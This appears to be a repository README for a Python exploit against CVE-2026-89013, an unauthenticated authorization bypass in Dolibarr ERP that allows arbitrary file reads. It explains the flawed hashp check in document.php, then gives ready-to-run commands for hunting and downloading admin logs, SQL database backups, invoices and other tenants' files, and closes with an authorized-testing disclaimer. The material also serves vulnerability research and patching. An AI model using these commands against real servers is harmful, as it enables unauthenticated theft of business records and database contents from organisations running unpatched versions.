faceless0x7/cve-2026-89013Python exploit for CVE-2026-89013, an unauthenticated Dolibarr hashp authorization bypass enabling arbitrary file read, with check, list, hunt, read, and download modes.
Exploit for CVE-2026-89013: document.php and viewimage.php force NOLOGIN when
the hashp parameter is present. The internal marker value shared skips
share-token resolution, but the access-control override still fires for any
non-empty value and sets $accessallowed = 1, discarding the result of
dol_check_secure_access_document(). An unauthenticated request can therefore
read any file in every modulepart tree: business documents, admin logs, SQL
backups (modulepart=systemtools), custom module sources (modulepart=packages),
and other multicompany entities via .
&entity=N| Affected | Dolibarr 23.0.4 – 24.0.0 |
| Fixed | 24.0.1 |
| Prerequisites | none (unauthenticated) |
| Impact | arbitrary file read within Dolibarr's managed directories |
// htdocs/document.php:189 (24.0.0) — 'shared' skips token resolution
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }
// htdocs/document.php:292 — but any hashp forces access
if (!empty($hashp)) {
$accessallowed = 1;
$sqlprotectagainstexternals = '';
}
A regression of commit 5028dae981e (2026-08-12), first shipped in 23.0.4 and
24.0.0. Traversal (../) is sanitized server-side — this is an authorization
bypass, not a path traversal.
# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check
# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list
# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save
# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2
# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
Standard library only (Python 3.8+). Supports --proxy, --insecure, --timeout.
For authorized testing and research only. Use only against systems you own or have explicit permission to test.